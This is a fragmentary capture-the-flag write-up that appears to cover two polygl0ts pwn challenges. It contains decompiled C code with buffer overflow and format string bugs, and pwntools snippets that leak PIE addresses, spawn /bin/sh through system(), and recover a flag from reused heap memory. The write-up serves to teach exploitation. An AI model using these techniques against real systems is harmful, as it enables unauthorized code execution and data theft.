name = (constchar *)calloc(8uLL, 1uLL); printf("You can now scream a longer message but before you do so, we'll take your name: "); fflush(_bss_start); gets(name); // bof printf("Saved score of %d for %s. Date and Time: ", score, name); fflush(_bss_start); system("date"); printf("Now please add a message: "); fflush(_bss_start); gets(format); // bof puts("Your message:"); printf(format); // fsb puts(byte_20B8); return fflush(_bss_start); }
# get name address and pie address using fsb # name %41$p # pie %49$p - 0x131e p.recvuntil('message:\n') name,pie = p.recvline().strip().split(b'_') name = int(name, 16) pie = int(pie, 16) - 0x131e print(hex(name)) print(hex(pie)) e.address = pie
# call system() using bof p.sendlineafter('input:', b'x') p.sendlineafter('name:', b'/bin/sh\x00')
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); stream = fopen("flaaaaaaaaaaaaag", "r"); if ( !stream ) { puts("cannot fopen the flaaaaaaaaaaaaag"); exit(1); } if ( !fread(&ptr, 1uLL, 1uLL, stream) ) { puts("cannot fread the flaaaaaaaaaaaaag"); exit(1); } if ( fclose(stream) ) { puts("cannot fclose the flaaaaaaaaaaaaag"); exit(1); } printf( "At polygl0ts we are very cool, so you get the first flaaaaaaaaaaaaag character for free : %c\n", (unsignedint)ptr); puts("Figure out the rest yourself !"); for ( i = 4; (int)i > 0; --i ) { printf("You have %d action(s) left\n", i); menu(); } if ( feedback ) free(feedback); puts("no actions left :("); exit(0); }
The fread internally calls malloc which will save the contents of the file. It has nothing to do with arguments of fread. After this, the heap memory is freed when fclose is called. This heap memory is only freed but not initialized, so its contents remain as is. It would be nice if I could reallocate this.
malloc at <_IO_doallocbuf+77> inside fread and free at <_IO_setb+84> inside fclose.
/proc: This directory contains information about processes and the system.
self: It’s a symbolic link to the process ID directory of the current process. So, /- proc/self refers to the process-specific directory for the process that accesses it.
maps: This file contains a list of memory mappings for the process.
In case 2, I can print the address where the given address is stored. So, I’ll get pie address using this.
In case 3, What is getline? It calls malloc at <getdelim+110> inside getline. The heap address that was allocated when fread was called will be reallocated. And then, at <getdelim+248>, it receives a string from the keyboard and stores it in the heap.
When I input one character like ‘A’ with the keyboard, 3 bytes are input, including ‘\n’ and NULL. So When I print this address using case 2, I need to give 0x555555559480 + 3 as input.
# p = process('./capture_the_flaaaaaaaaaaaaag') p = remote('chall.polygl0ts.ch', 9003) e = ELF('./capture_the_flaaaaaaaaaaaaag')
# call `malloc` inside `getline` # the address that was allocated when `fread` was called is reallocated. # global variable `feedback` -> heap pointer -> heap (where flag was stored) p.sendlineafter('>', b'3') p.sendlineafter('>', b'A')